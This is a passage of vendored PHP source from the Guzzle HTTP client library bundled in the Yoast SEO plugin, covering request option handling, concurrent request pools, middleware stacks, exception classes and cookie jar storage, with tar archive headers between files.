the standard Linux HTTP_PROXY and HTTPS_PROXY if set. // We can only trust the HTTP_PROXY environment variable in a CLI // process due to the fact that PHP has no reliable mechanism to // get environment variables that start with "HTTP_". if (\PHP_SAPI === 'cli' && ($proxy = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('HTTP_PROXY'))) { $defaults['proxy']['http'] = $proxy; } if ($proxy = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('HTTPS_PROXY')) { $defaults['proxy']['https'] = $proxy; } if ($noProxy = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('NO_PROXY')) { $cleanedNoProxy = \str_replace(' ', '', $noProxy); $defaults['proxy']['no'] = \explode(',', $cleanedNoProxy); } $this->config = $config + $defaults; if (!empty($config['cookies']) && $config['cookies'] === \true) { $this->config['cookies'] = new \YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar(); } // Add the default user-agent header. if (!isset($this->config['headers'])) { $this->config['headers'] = ['User-Agent' => \YoastSEO_Vendor\GuzzleHttp\Utils::defaultUserAgent()]; } else { // Add the User-Agent header if one was not already set. foreach (\array_keys($this->config['headers']) as $name) { if (\strtolower($name) === 'user-agent') { return; } } $this->config['headers']['User-Agent'] = \YoastSEO_Vendor\GuzzleHttp\Utils::defaultUserAgent(); } } /** * Merges default options into the array. * * @param array $options Options to modify by reference */ private function prepareDefaults(array $options) : array { $defaults = $this->config; if (!empty($defaults['headers'])) { // Default headers are only added if they are not present. $defaults['_conditional'] = $defaults['headers']; unset($defaults['headers']); } // Special handling for headers is required as they are added as // conditional headers and as headers passed to a request ctor. if (\array_key_exists('headers', $options)) { // Allows default headers to be unset. if ($options['headers'] === null) { $defaults['_conditional'] = []; unset($options['headers']); } elseif (!\is_array($options['headers'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('headers must be an array'); } } // Shallow merge defaults underneath options. $result = $options + $defaults; // Remove null values. foreach ($result as $k => $v) { if ($v === null) { unset($result[$k]); } } return $result; } /** * Transfers the given request and applies request options. * * The URI of the request is not modified and the request options are used * as-is without merging in default options. * * @param array $options See \GuzzleHttp\RequestOptions. */ private function transfer(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $request = $this->applyOptions($request, $options); /** @var HandlerStack $handler */ $handler = $options['handler']; try { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($handler($request, $options)); } catch (\Exception $e) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($e); } } /** * Applies the array of request options to a request. */ private function applyOptions(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { $modify = ['set_headers' => []]; if (isset($options['headers'])) { if (\array_keys($options['headers']) === \range(0, \count($options['headers']) - 1)) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('The headers array must have header name as keys.'); } $modify['set_headers'] = $options['headers']; unset($options['headers']); } if (isset($options['form_params'])) { if (isset($options['multipart'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('You cannot use ' . 'form_params and multipart at the same time. Use the ' . 'form_params option if you want to send application/' . 'x-www-form-urlencoded requests, and the multipart ' . 'option to send multipart/form-data requests.'); } $options['body'] = \http_build_query($options['form_params'], '', '&'); unset($options['form_params']); // Ensure that we don't have the header in different case and set the new value. $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']); $options['_conditional']['Content-Type'] = 'application/x-www-form-urlencoded'; } if (isset($options['multipart'])) { $options['body'] = new \YoastSEO_Vendor\GuzzleHttp\Psr7\MultipartStream($options['multipart']); unset($options['multipart']); } if (isset($options['json'])) { $options['body'] = \YoastSEO_Vendor\GuzzleHttp\Utils::jsonEncode($options['json']); unset($options['json']); // Ensure that we don't have the header in different case and set the new value. $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']); $options['_conditional']['Content-Type'] = 'application/json'; } if (!empty($options['decode_content']) && $options['decode_content'] !== \true) { // Ensure that we don't have the header in different case and set the new value. $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Accept-Encoding'], $options['_conditional']); $modify['set_headers']['Accept-Encoding'] = $options['decode_content']; } if (isset($options['body'])) { if (\is_array($options['body'])) { throw $this->invalidBody(); } $modify['body'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($options['body']); unset($options['body']); } if (!empty($options['auth']) && \is_array($options['auth'])) { $value = $options['auth']; $type = isset($value[2]) ? \strtolower($value[2]) : 'basic'; switch ($type) { case 'basic': // Ensure that we don't have the header in different case and set the new value. $modify['set_headers'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Authorization'], $modify['set_headers']); $modify['set_headers']['Authorization'] = 'Basic ' . \base64_encode("{$value[0]}:{$value[1]}"); break; case 'digest': // @todo: Do not rely on curl $options['curl'][\CURLOPT_HTTPAUTH] = \CURLAUTH_DIGEST; $options['curl'][\CURLOPT_USERPWD] = "{$value[0]}:{$value[1]}"; break; case 'ntlm': $options['curl'][\CURLOPT_HTTPAUTH] = \CURLAUTH_NTLM; $options['curl'][\CURLOPT_USERPWD] = "{$value[0]}:{$value[1]}"; break; } } if (isset($options['query'])) { $value = $options['query']; if (\is_array($value)) { $value = \http_build_query($value, '', '&', \PHP_QUERY_RFC3986); } if (!\is_string($value)) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('query must be a string or array'); } $modify['query'] = $value; unset($options['query']); } // Ensure that sink is not an invalid value. if (isset($options['sink'])) { // TODO: Add more sink validation? if (\is_bool($options['sink'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('sink must not be a boolean'); } } if (isset($options['version'])) { $modify['version'] = $options['version']; } $request = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify); if ($request->getBody() instanceof \YoastSEO_Vendor\GuzzleHttp\Psr7\MultipartStream) { // Use a multipart/form-data POST if a Content-Type is not set. // Ensure that we don't have the header in different case and set the new value. $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']); $options['_conditional']['Content-Type'] = 'multipart/form-data; boundary=' . $request->getBody()->getBoundary(); } // Merge in conditional headers if they are not present. if (isset($options['_conditional'])) { // Build up the changes so it's in a single clone of the message. $modify = []; foreach ($options['_conditional'] as $k => $v) { if (!$request->hasHeader($k)) { $modify['set_headers'][$k] = $v; } } $request = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify); // Don't pass this internal value along to middleware/handlers. unset($options['_conditional']); } return $request; } /** * Return an InvalidArgumentException with pre-set message. */ private function invalidBody() : \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException { return new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('Passing in the "body" request ' . 'option as an array to send a request is not supported. ' . 'Please use the "form_params" request option to send a ' . 'application/x-www-form-urlencoded request, or the "multipart" ' . 'request option to send a multipart/form-data request.'); } } guzzlehttp/guzzle/src/Pool.php000066600000011665151734252230012536 0ustar00 $rfn) { if ($rfn instanceof \YoastSEO_Vendor\Psr\Http\Message\RequestInterface) { (yield $key => $client->sendAsync($rfn, $opts)); } elseif (\is_callable($rfn)) { (yield $key => $rfn($opts)); } else { throw new \InvalidArgumentException('Each value yielded by the iterator must be a Psr7\\Http\\Message\\RequestInterface or a callable that returns a promise that fulfills with a Psr7\\Message\\Http\\ResponseInterface object.'); } } }; $this->each = new \YoastSEO_Vendor\GuzzleHttp\Promise\EachPromise($requests(), $config); } /** * Get promise */ public function promise() : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->each->promise(); } /** * Sends multiple requests concurrently and returns an array of responses * and exceptions that uses the same ordering as the provided requests. * * IMPORTANT: This method keeps every request and response in memory, and * as such, is NOT recommended when sending a large number or an * indeterminate number of requests concurrently. * * @param ClientInterface $client Client used to send the requests * @param array|\Iterator $requests Requests to send concurrently. * @param array $options Passes through the options available in * {@see \GuzzleHttp\Pool::__construct} * * @return array Returns an array containing the response or an exception * in the same order that the requests were sent. * * @throws \InvalidArgumentException if the event format is incorrect. */ public static function batch(\YoastSEO_Vendor\GuzzleHttp\ClientInterface $client, $requests, array $options = []) : array { $res = []; self::cmpCallback($options, 'fulfilled', $res); self::cmpCallback($options, 'rejected', $res); $pool = new static($client, $requests, $options); $pool->promise()->wait(); \ksort($res); return $res; } /** * Execute callback(s) */ private static function cmpCallback(array &$options, string $name, array &$results) : void { if (!isset($options[$name])) { $options[$name] = static function ($v, $k) use(&$results) { $results[$k] = $v; }; } else { $currentFn = $options[$name]; $options[$name] = static function ($v, $k) use(&$results, $currentFn) { $currentFn($v, $k); $results[$k] = $v; }; } } } guzzlehttp/guzzle/src/Utils.php000066600000032615151734252230012723 0ustar00getHost()) { $asciiHost = self::idnToAsci($uri->getHost(), $options, $info); if ($asciiHost === \false) { $errorBitSet = $info['errors'] ?? 0; $errorConstants = \array_filter(\array_keys(\get_defined_constants()), static function (string $name) : bool { return \substr($name, 0, 11) === 'IDNA_ERROR_'; }); $errors = []; foreach ($errorConstants as $errorConstant) { if ($errorBitSet & \constant($errorConstant)) { $errors[] = $errorConstant; } } $errorMessage = 'IDN conversion failed'; if ($errors) { $errorMessage .= ' (errors: ' . \implode(', ', $errors) . ')'; } throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException($errorMessage); } if ($uri->getHost() !== $asciiHost) { // Replace URI only if the ASCII version is different $uri = $uri->withHost($asciiHost); } } return $uri; } /** * @internal */ public static function getenv(string $name) : ?string { if (isset($_SERVER[$name])) { return (string) $_SERVER[$name]; } if (\PHP_SAPI === 'cli' && ($value = \getenv($name)) !== \false && $value !== null) { return (string) $value; } return null; } /** * @return string|false */ private static function idnToAsci(string $domain, int $options, ?array &$info = []) { if (\function_exists('idn_to_ascii') && \defined('INTL_IDNA_VARIANT_UTS46')) { return \idn_to_ascii($domain, $options, \INTL_IDNA_VARIANT_UTS46, $info); } throw new \Error('ext-idn or symfony/polyfill-intl-idn not loaded or too old'); } } guzzlehttp/guzzle/src/BodySummarizerInterface.php000066600000000453151734252230016413 0ustar00push(\YoastSEO_Vendor\GuzzleHttp\Middleware::httpErrors(), 'http_errors'); $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::redirect(), 'allow_redirects'); $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::cookies(), 'cookies'); $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::prepareBody(), 'prepare_body'); return $stack; } /** * @param (callable(RequestInterface, array): PromiseInterface)|null $handler Underlying HTTP handler. */ public function __construct(callable $handler = null) { $this->handler = $handler; } /** * Invokes the handler stack as a composed handler * * @return ResponseInterface|PromiseInterface */ public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) { $handler = $this->resolve(); return $handler($request, $options); } /** * Dumps a string representation of the stack. * * @return string */ public function __toString() { $depth = 0; $stack = []; if ($this->handler !== null) { $stack[] = '0) Handler: ' . $this->debugCallable($this->handler); } $result = ''; foreach (\array_reverse($this->stack) as $tuple) { ++$depth; $str = "{$depth}) Name: '{$tuple[1]}', "; $str .= 'Function: ' . $this->debugCallable($tuple[0]); $result = "> {$str}\n{$result}"; $stack[] = $str; } foreach (\array_keys($stack) as $k) { $result .= "< {$stack[$k]}\n"; } return $result; } /** * Set the HTTP handler that actually returns a promise. * * @param callable(RequestInterface, array): PromiseInterface $handler Accepts a request and array of options and * returns a Promise. */ public function setHandler(callable $handler) : void { $this->handler = $handler; $this->cached = null; } /** * Returns true if the builder has a handler. */ public function hasHandler() : bool { return $this->handler !== null; } /** * Unshift a middleware to the bottom of the stack. * * @param callable(callable): callable $middleware Middleware function * @param string $name Name to register for this middleware. */ public function unshift(callable $middleware, string $name = null) : void { \array_unshift($this->stack, [$middleware, $name]); $this->cached = null; } /** * Push a middleware to the top of the stack. * * @param callable(callable): callable $middleware Middleware function * @param string $name Name to register for this middleware. */ public function push(callable $middleware, string $name = '') : void { $this->stack[] = [$middleware, $name]; $this->cached = null; } /** * Add a middleware before another middleware by name. * * @param string $findName Middleware to find * @param callable(callable): callable $middleware Middleware function * @param string $withName Name to register for this middleware. */ public function before(string $findName, callable $middleware, string $withName = '') : void { $this->splice($findName, $withName, $middleware, \true); } /** * Add a middleware after another middleware by name. * * @param string $findName Middleware to find * @param callable(callable): callable $middleware Middleware function * @param string $withName Name to register for this middleware. */ public function after(string $findName, callable $middleware, string $withName = '') : void { $this->splice($findName, $withName, $middleware, \false); } /** * Remove a middleware by instance or name from the stack. * * @param callable|string $remove Middleware to remove by instance or name. */ public function remove($remove) : void { if (!\is_string($remove) && !\is_callable($remove)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a callable or string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->cached = null; $idx = \is_callable($remove) ? 0 : 1; $this->stack = \array_values(\array_filter($this->stack, static function ($tuple) use($idx, $remove) { return $tuple[$idx] !== $remove; })); } /** * Compose the middleware and handler into a single callable function. * * @return callable(RequestInterface, array): PromiseInterface */ public function resolve() : callable { if ($this->cached === null) { if (($prev = $this->handler) === null) { throw new \LogicException('No handler has been specified'); } foreach (\array_reverse($this->stack) as $fn) { /** @var callable(RequestInterface, array): PromiseInterface $prev */ $prev = $fn[0]($prev); } $this->cached = $prev; } return $this->cached; } private function findByName(string $name) : int { foreach ($this->stack as $k => $v) { if ($v[1] === $name) { return $k; } } throw new \InvalidArgumentException("Middleware not found: {$name}"); } /** * Splices a function into the middleware list at a specific position. */ private function splice(string $findName, string $withName, callable $middleware, bool $before) : void { $this->cached = null; $idx = $this->findByName($findName); $tuple = [$middleware, $withName]; if ($before) { if ($idx === 0) { \array_unshift($this->stack, $tuple); } else { $replacement = [$tuple, $this->stack[$idx]]; \array_splice($this->stack, $idx, 1, $replacement); } } elseif ($idx === \count($this->stack) - 1) { $this->stack[] = $tuple; } else { $replacement = [$this->stack[$idx], $tuple]; \array_splice($this->stack, $idx, 1, $replacement); } } /** * Provides a debug string for a given callable. * * @param callable|string $fn Function to write as a string. */ private function debugCallable($fn) : string { if (\is_string($fn)) { return "callable({$fn})"; } if (\is_array($fn)) { return \is_string($fn[0]) ? "callable({$fn[0]}::{$fn[1]})" : "callable(['" . \get_class($fn[0]) . "', '{$fn[1]}'])"; } /** @var object $fn */ return 'callable(' . \spl_object_hash($fn) . ')'; } } guzzlehttp/guzzle/src/Exception/ConnectException.php000066600000003026151734252230017023 0ustar00request = $request; $this->handlerContext = $handlerContext; } /** * Get the request that caused the exception */ public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { return $this->request; } /** * Get contextual information about the error from the underlying handler. * * The contents of this array will vary depending on which handler you are * using. It may also be just an empty array. Relying on this data will * couple you to a specific handler, but can give more debug information * when needed. */ public function getHandlerContext() : array { return $this->handlerContext; } } guzzlehttp/guzzle/src/Exception/BadResponseException.php000066600000002147151734252230017642 0ustar00getStatusCode() : 0; parent::__construct($message, $code, $previous); $this->request = $request; $this->response = $response; $this->handlerContext = $handlerContext; } /** * Wrap non-RequestExceptions with a RequestException */ public static function wrapException(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \Throwable $e) : \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException { return $e instanceof \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException ? $e : new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException($e->getMessage(), $request, null, $e); } /** * Factory method to create a new exception with a normalized error message * * @param RequestInterface $request Request sent * @param ResponseInterface $response Response received * @param \Throwable|null $previous Previous exception * @param array $handlerContext Optional handler context * @param BodySummarizerInterface|null $bodySummarizer Optional body summarizer */ public static function create(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $previous = null, array $handlerContext = [], \YoastSEO_Vendor\GuzzleHttp\BodySummarizerInterface $bodySummarizer = null) : self { if (!$response) { return new self('Error completing request', $request, null, $previous, $handlerContext); } $level = (int) \floor($response->getStatusCode() / 100); if ($level === 4) { $label = 'Client error'; $className = \YoastSEO_Vendor\GuzzleHttp\Exception\ClientException::class; } elseif ($level === 5) { $label = 'Server error'; $className = \YoastSEO_Vendor\GuzzleHttp\Exception\ServerException::class; } else { $label = 'Unsuccessful request'; $className = __CLASS__; } $uri = $request->getUri(); $uri = static::obfuscateUri($uri); // Client Error: `GET /` resulted in a `404 Not Found` response: // ... (truncated) $message = \sprintf('%s: `%s %s` resulted in a `%s %s` response', $label, $request->getMethod(), $uri->__toString(), $response->getStatusCode(), $response->getReasonPhrase()); $summary = ($bodySummarizer ?? new \YoastSEO_Vendor\GuzzleHttp\BodySummarizer())->summarize($response); if ($summary !== null) { $message .= ":\n{$summary}\n"; } return new $className($message, $request, $response, $previous, $handlerContext); } /** * Obfuscates URI if there is a username and a password present */ private static function obfuscateUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $userInfo = $uri->getUserInfo(); if (\false !== ($pos = \strpos($userInfo, ':'))) { return $uri->withUserInfo(\substr($userInfo, 0, $pos), '***'); } return $uri; } /** * Get the request that caused the exception */ public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { return $this->request; } /** * Get the associated response */ public function getResponse() : ?\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->response; } /** * Check if a response was received */ public function hasResponse() : bool { return $this->response !== null; } /** * Get contextual information about the error from the underlying handler. * * The contents of this array will vary depending on which handler you are * using. It may also be just an empty array. Relying on this data will * couple you to a specific handler, but can give more debug information * when needed. */ public function getHandlerContext() : array { return $this->handlerContext; } } guzzlehttp/guzzle/src/Exception/ClientException.php000066600000000331151734252230016644 0ustar00filename = $cookieFile; $this->storeSessionCookies = $storeSessionCookies; if (\file_exists($cookieFile)) { $this->load($cookieFile); } } /** * Saves the file when shutting down */ public function __destruct() { $this->save($this->filename); } /** * Saves the cookies to a file. * * @param string $filename File to save * * @throws \RuntimeException if the file cannot be found or created */ public function save(string $filename) : void { $json = []; /** @var SetCookie $cookie */ foreach ($this as $cookie) { if (\YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray(); } } $jsonStr = \YoastSEO_Vendor\GuzzleHttp\Utils::jsonEncode($json); if (\false === \file_put_contents($filename, $jsonStr, \LOCK_EX)) { throw new \RuntimeException("Unable to save file {$filename}"); } } /** * Load cookies from a JSON formatted file. * * Old cookies are kept unless overwritten by newly loaded ones. * * @param string $filename Cookie file to load. * * @throws \RuntimeException if the file cannot be loaded. */ public function load(string $filename) : void { $json = \file_get_contents($filename); if (\false === $json) { throw new \RuntimeException("Unable to load file {$filename}"); } if ($json === '') { return; } $data = \YoastSEO_Vendor\GuzzleHttp\Utils::jsonDecode($json, \true); if (\is_array($data)) { foreach ($data as $cookie) { $this->setCookie(new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie($cookie)); } } elseif (\is_scalar($data) && !empty($data)) { throw new \RuntimeException("Invalid cookie file: {$filename}"); } } } guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php000066600000004112151734252230016235 0ustar00sessionKey = $sessionKey; $this->storeSessionCookies = $storeSessionCookies; $this->load(); } /** * Saves cookies to session when shutting down */ public function __destruct() { $this->save(); } /** * Save cookies to the client session */ public function save() : void { $json = []; /** @var SetCookie $cookie */ foreach ($this as $cookie) { if (\YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray(); } } $_SESSION[$this->sessionKey] = \json_encode($json); } /** * Load the contents of the client session into the data array */ protected function load() : void { if (!isset($_SESSION[$this->sessionKey])) { return; } $data = \json_decode($_SESSION[$this->sessionKey], \true); if (\is_array($data)) { foreach ($data as $cookie) { $this->setCookie(new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie($cookie)); } } elseif (\strlen($data)) { throw new \RuntimeException('Invalid cookie data'); } } } guzzlehttp/guzzle/src/Cookie/CookieJarInterface.php000066600000005745151734252230016527 0ustar00 */ interface CookieJarInterface extends \Countable, \IteratorAggregate { /** * Create a request with added cookie headers. * * If no matching cookies are found in the cookie jar, then no Cookie * header is added to the request and the same request is returned. * * @param RequestInterface $request Request object to modify. * * @return RequestInterface returns the modified request. */ public function withCookieHeader(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface; /** * Extract cookies from an HTTP response and store them in the CookieJar. * * @param RequestInterface $request Request that was sent * @param ResponseInterface $response Response that was received */ public function extractCookies(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) : void; /** * Sets a cookie in the cookie jar. * * @param SetCookie $cookie Cookie to set. * * @return bool Returns true on success or false on failure */ public function setCookie(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : bool; /** * Remove cookies currently held in the cookie jar. * * Invoking this method without arguments will empty the whole cookie jar. * If given a $domain argument only cookies belonging to that domain will * be removed. If given a $domain and $path argument, cookies belonging to * the specified path within that domain are removed. If given all three * arguments, then the cookie with the specified name, path and domain is * removed. * * @param string|null $domain Clears cookies matching a domain * @param string|null $path Clears cookies matching a domain and path * @param string|null $name Clears cookies matching a domain, path, and name */ public function clear(string $domain = null, string $path = null, string $name = null) : void; /** * Discard all sessions cookies. * * Removes cookies that don't have an expire field or a have a discard * field set to true. To be called when the user agent shuts down according * to RFC 2965. */ public function clearSessionCookies() : void; /** * Converts the cookie jar to an array. */ public function toArray() : array; } guzzlehttp/guzzle/src/Cookie/CookieJar.php000066600000022706151734252230014702 0ustar00strictMode = $strictMode; foreach ($cookieArray as $cookie) { if (!$cookie instanceof \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie) { $cookie = new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie($cookie); } $this->setCookie($cookie); } } /** * Create a new Cookie jar from an associative array and domain. * * @param array $cookies Cookies to create the jar from * @param string $domain Domain to set the cookies to */ public static function fromArray(array $cookies, string $domain) : self { $cookieJar = new self(); foreach ($cookies as $name => $value) { $cookieJar->setCookie(new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie(['Domain' => $domain, 'Name' => $name, 'Value' => $value, 'Discard' => \true])); } return $cookieJar; } /** * Evaluate if this cookie should be persisted to storage * that survives between requests. * * @param SetCookie $cookie Being evaluated. * @param bool $allowSessionCookies If we should persist session cookies */ public static function shouldPersist(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie, bool $allowSessionCookies = \false) : bool { if ($cookie->getExpires() || $allowSessionCookies) { if (!$cookie->getDiscard()) { return \true; } } return \false; } /** * Finds and returns the cookie based on the name * * @param string $name cookie name to search for * * @return SetCookie|null cookie that was found or null if not found */ public function getCookieByName(string $name) : ?\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie { foreach ($this->cookies as $cookie) { if ($cookie->getName() !== null && \strcasecmp($cookie->getName(), $name) === 0) { return $cookie; } } return null; } public function toArray() : array { return \array_map(static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : array { return $cookie->toArray(); }, $this->getIterator()->getArrayCopy()); } public function clear(string $domain = null, string $path = null, string $name = null) : void { if (!$domain) { $this->cookies = []; return; } elseif (!$path) { $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) use($domain) : bool { return !$cookie->matchesDomain($domain); }); } elseif (!$name) { $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) use($path, $domain) : bool { return !($cookie->matchesPath($path) && $cookie->matchesDomain($domain)); }); } else { $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) use($path, $domain, $name) { return !($cookie->getName() == $name && $cookie->matchesPath($path) && $cookie->matchesDomain($domain)); }); } } public function clearSessionCookies() : void { $this->cookies = \array_filter($this->cookies, static function (\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : bool { return !$cookie->getDiscard() && $cookie->getExpires(); }); } public function setCookie(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : bool { // If the name string is empty (but not 0), ignore the set-cookie // string entirely. $name = $cookie->getName(); if (!$name && $name !== '0') { return \false; } // Only allow cookies with set and valid domain, name, value $result = $cookie->validate(); if ($result !== \true) { if ($this->strictMode) { throw new \RuntimeException('Invalid cookie: ' . $result); } $this->removeCookieIfEmpty($cookie); return \false; } // Resolve conflicts with previously set cookies foreach ($this->cookies as $i => $c) { // Two cookies are identical, when their path, and domain are // identical. if ($c->getPath() != $cookie->getPath() || $c->getDomain() != $cookie->getDomain() || $c->getName() != $cookie->getName()) { continue; } // The previously set cookie is a discard cookie and this one is // not so allow the new cookie to be set if (!$cookie->getDiscard() && $c->getDiscard()) { unset($this->cookies[$i]); continue; } // If the new cookie's expiration is further into the future, then // replace the old cookie if ($cookie->getExpires() > $c->getExpires()) { unset($this->cookies[$i]); continue; } // If the value has changed, we better change it if ($cookie->getValue() !== $c->getValue()) { unset($this->cookies[$i]); continue; } // The cookie exists, so no need to continue return \false; } $this->cookies[] = $cookie; return \true; } public function count() : int { return \count($this->cookies); } /** * @return \ArrayIterator */ public function getIterator() : \ArrayIterator { return new \ArrayIterator(\array_values($this->cookies)); } public function extractCookies(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) : void { if ($cookieHeader = $response->getHeader('Set-Cookie')) { foreach ($cookieHeader as $cookie) { $sc = \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie::fromString($cookie); if (!$sc->getDomain()) { $sc->setDomain($request->getUri()->getHost()); } if (0 !== \strpos($sc->getPath(), '/')) { $sc->setPath($this->getCookiePathFromRequest($request)); } if (!$sc->matchesDomain($request->getUri()->getHost())) { continue; } // Note: At this point `$sc->getDomain()` being a public suffix should // be rejected, but we don't want to pull in the full PSL dependency. $this->setCookie($sc); } } } /** * Computes cookie path following RFC 6265 section 5.1.4 * * @see https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.4 */ private function getCookiePathFromRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : string { $uriPath = $request->getUri()->getPath(); if ('' === $uriPath) { return '/'; } if (0 !== \strpos($uriPath, '/')) { return '/'; } if ('/' === $uriPath) { return '/'; } $lastSlashPos = \strrpos($uriPath, '/'); if (0 === $lastSlashPos || \false === $lastSlashPos) { return '/'; } return \substr($uriPath, 0, $lastSlashPos); } public function withCookieHeader(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { $values = []; $uri = $request->getUri(); $scheme = $uri->getScheme(); $host = $uri->getHost(); $path = $uri->getPath() ?: '/'; foreach ($this->cookies as $cookie) { if ($cookie->matchesPath($path) && $cookie->matchesDomain($host) && !$cookie->isExpired() && (!$cookie->getSecure() || $scheme === 'https')) { $values[] = $cookie->getName() . '=' . $cookie->getValue(); } } return $values ? $request->withHeader('Cookie', \implode('; ', $values)) : $request; } /** * If a cookie already exists and the server asks to set it again with a * null value, the cookie must be deleted. */ private function removeCookieIfEmpty(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : void { $cookieValue = $cookie->getValue(); if ($cookieValue === null || $cookieValue === '') { $this->clear($cookie->getDomain(), $cookie->getPath(), $cookie->getName()); } } } guzzlehttp/guzzle/src/Cookie/SetCookie.php000066600000033464151734252230014724 0ustar00 null, 'Value' => null, 'Domain' => null, 'Path' => '/', 'Max-Age' => null, 'Expires' => null, 'Secure' => \false, 'Discard' => \false, 'HttpOnly' => \false]; /** * @var array Cookie data */ private $data; /** * Create a new SetCookie object from a string. * * @param string $cookie Set-Cookie header string */ public static function fromString(string $cookie) : self { // Create the default return array $data = self::$defaults; // Explode the cookie string using a series of semicolons $pieces = \array_filter(\array_map('trim', \explode(';', $cookie))); // The name of the cookie (first kvp) must exist and include an equal sign. if (!isset($pieces[0]) || \strpos($pieces[0], '=') === \false) { return new self($data); } // Add the cookie pieces into the parsed data array foreach ($pieces as $part) { $cookieParts = \explode('=', $part, 2); $key = \trim($cookieParts[0]); $value = isset($cookieParts[1]) ? \trim($cookieParts[1], " \n\r\t\x00\v") : \true; // Only check for non-cookies when cookies have been found if (!isset($data['Name'])) { $data['Name'] = $key; $data['Value'] = $value; } else { foreach (\array_keys(self::$defaults) as $search) { if (!\strcasecmp($search, $key)) { if ($search === 'Max-Age') { if (\is_numeric($value)) { $data[$search] = (int) $value; } } else { $data[$search] = $value; } continue 2; } } $data[$key] = $value; } } return new self($data); } /** * @param array $data Array of cookie data provided by a Cookie parser */ public function __construct(array $data = []) { $this->data = self::$defaults; if (isset($data['Name'])) { $this->setName($data['Name']); } if (isset($data['Value'])) { $this->setValue($data['Value']); } if (isset($data['Domain'])) { $this->setDomain($data['Domain']); } if (isset($data['Path'])) { $this->setPath($data['Path']); } if (isset($data['Max-Age'])) { 